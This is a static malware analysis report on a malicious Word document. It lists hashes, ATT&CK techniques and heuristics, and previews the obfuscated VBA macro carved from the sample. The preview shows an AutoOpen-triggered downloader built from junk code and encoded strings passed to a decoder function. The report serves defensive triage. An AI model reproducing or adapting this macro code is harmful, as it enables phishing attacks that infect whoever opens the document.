Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f9e60c05859c284…

MALICIOUS

Office (OLE)

187.5 KB Created: 2018-03-14 19:02:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 23a82d47e56d0079531084e93234b97b SHA-1: 7914c0652f4a5942a786e110eeb957259a4c1601 SHA-256: 1f9e60c05859c28401b363c687607411e31fa00383ff08150ae055115342cffa
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the AutoOpen function and appears to be obfuscated, but the presence of execution tokens and a long encoded blob suggests it is designed to download and execute a second-stage payload. The file's metadata and heuristic firings strongly indicate malicious intent.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 66579 bytes
SHA-256: 8ef738081a3f73954f0b5e7a60e0f061658981396b3c3b40820625ff2df714cf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BZWZjaw"
Function CQFswJPFuKz()
On Error Resume Next
Select Case iJMPiz
         Case 62524
            tIVdV = Fix(20242)
            RdfCr = Int(73863)
         Case 59450
            LLqST = ZtaSn
            SWtwB = ChrW(FwzDZ)
      End Select
LvMtZoRnO = TjtbOo + IpFKi("wCd9[l7H!(<qw(qn!t%w5AgNAYGA4AwNAQGAwAAZAkDAmBQZAMDAwAQZAUDA1AQYAIGA2AAMAgDAkBgNAUGAkBwMAEDAIJnWOkJEWj<", 12, 72)
Select Case iJMPiz
         Case 62524
            tIVdV = Fix(20242)
            RdfCr = Int(73863)
         Case 59450
            LLqST = ZtaSn
            SWtwB = ChrW(FwzDZ)
      End Select
Select Case YwHSuf
         Case 4449
            ZjiIC = Fix(72553)
            ltIfA = Int(85374)
         Case 73763
            ZpkGtY = JuGcq
            MvNNDS = ChrW(MtzBY)
      End Select
fQwdV = dOIcHW + IpFKi("Xj[!(YAMDA3AQMAEGA5AwMAkDA0AwMAYDA5AQYAMDAmBwNAMDA3AgMAMGAxAww(z]R#].bYjmC<_P7Awtbm%WoOq", 28, 56)
Select Case YwHSuf
         Case 4449
            ZjiIC = Fix(72553)
            ltIfA = Int(85374)
         Case 73763
            ZpkGtY = JuGcq
            MvNNDS = ChrW(MtzBY)
      End Select
Select Case CLFdFI
         Case 31872
            rKKmNN = Fix(5636)
            XNqYZ = Int(75093)
         Case 57760
            TCjhKj = SVMzfa
            GmJUHB = ChrW(CWrwz)
      End Select
oRzpbQBQbl = KQbSI + IpFKi("NPj.z3)w.BwNAYDAhBQOAIDAhBQZAUGA2AwNAQDA5i1.9!_Vfn_mrl", 14, 32)
Select Case CLFdFI
         Case 31872
            rKKmNN = Fix(5636)
            XNqYZ = Int(75093)
         Case 57760
            TCjhKj = SVMzfa
            GmJUHB = ChrW(CWrwz)
      End Select
Select Case Mnwtj
         Case 82600
            zpnZX = Fix(97119)
            jMMoBV = Int(31926)
         Case 40672
            joPTQz = KqWLY
            XNIQmj = ChrW(sswUSi)
      End Select
iMRhRKJ = UdhKPhS + IpFKi("YG(3Jww.Z(OSxAwNAUGAyAQYAgDAxAAOAIGA4AgYAMDA1AwNAQDAmBgMAQDAwAwMAUGAwAwYAYDAjBwYAUGA3AQOAIDA5AwNAIDAzAgMll", 3, 92)
Select Case Mnwtj
         Case 82600
            zpnZX = Fix(97119)
            jMMoBV = Int(31926)
         Case 40672
            joPTQz = KqWLY
            XNIQmj = ChrW(sswUSi)
      End Select
Select Case QqjYK
         Case 12529
            VcwVb = Fix(53376)
            MQfbXO = Int(54965)
         Case 11870
            PiEYan = VfrHBJ
            ZKNRY = ChrW(AMPiA)
      End Select
lLjpzLlAMF = USUSwrC + IpFKi("P3ZaG2$KAtooA_<jFCOAQYAEDAjBgMAIDA3AwNAUGAjBgMAEGAzAgZAYDAkBgMAMDA2A_(9(<J6IM", 10, 49)
Select Case QqjYK
         Case 12529
            VcwVb = Fix(53376)
            MQfbXO = Int(54965)
         Case 11870
            PiEYan = VfrHBJ
            ZKNRY = ChrW(AMPiA)
      End Select
Select Case mQNppH
         Case 99425
            HHVuk = Fix(1024)
            DIMdm = Int(86962)
         Case 44582
            XCoOv = jAwFuh
            YWwaj = ChrW(QjpOFv)
      End Select
nPndtMGjwY = ZaiXUv + IpFKi("sJM$7]]UHA4AwMAQGAxAwNAIGAyAQYAQDA4AgMAYDA3AAZAcDA2AANAcDA2AwMAEDA0AQZAkDA0AwMAkDAiBgNAQGA2AwYAEDA0AQMAMGAlBQYAkDA4AwMAIDAiBwMAYGAzAQYAIGAhBgNAEDA5AQOAEGA3AgMAYDAx.QhIl", 6, 154)
Select Case mQNppH
         Case 99425
            HHVuk = Fix(1024)
            DIMdm = Int(86962)
         Case 44582
            XCoOv = jAwFuh
            YWwaj = ChrW(QjpOFv)
      End Select
Select Case wkaVHC
         Case 30589
            zjhTr = Fix(94963)
            nYLTLp = Int(94998)
         Case 98917
            wZzQw = HasmUw
            vAWilq = ChrW(jXuvt)
      End Select
JPqlL = mFCYR + IpFKi("27Qwj4HNQNAUDA0AAOAYDAlBwYAkDAvdb", 4, 22)
Select Case wkaVHC
         Case 30589
            zjhTr = Fix(94963)
            nYLTLp = Int(94998)
         Case 98917
            wZzQw = HasmUw
   
... (truncated)

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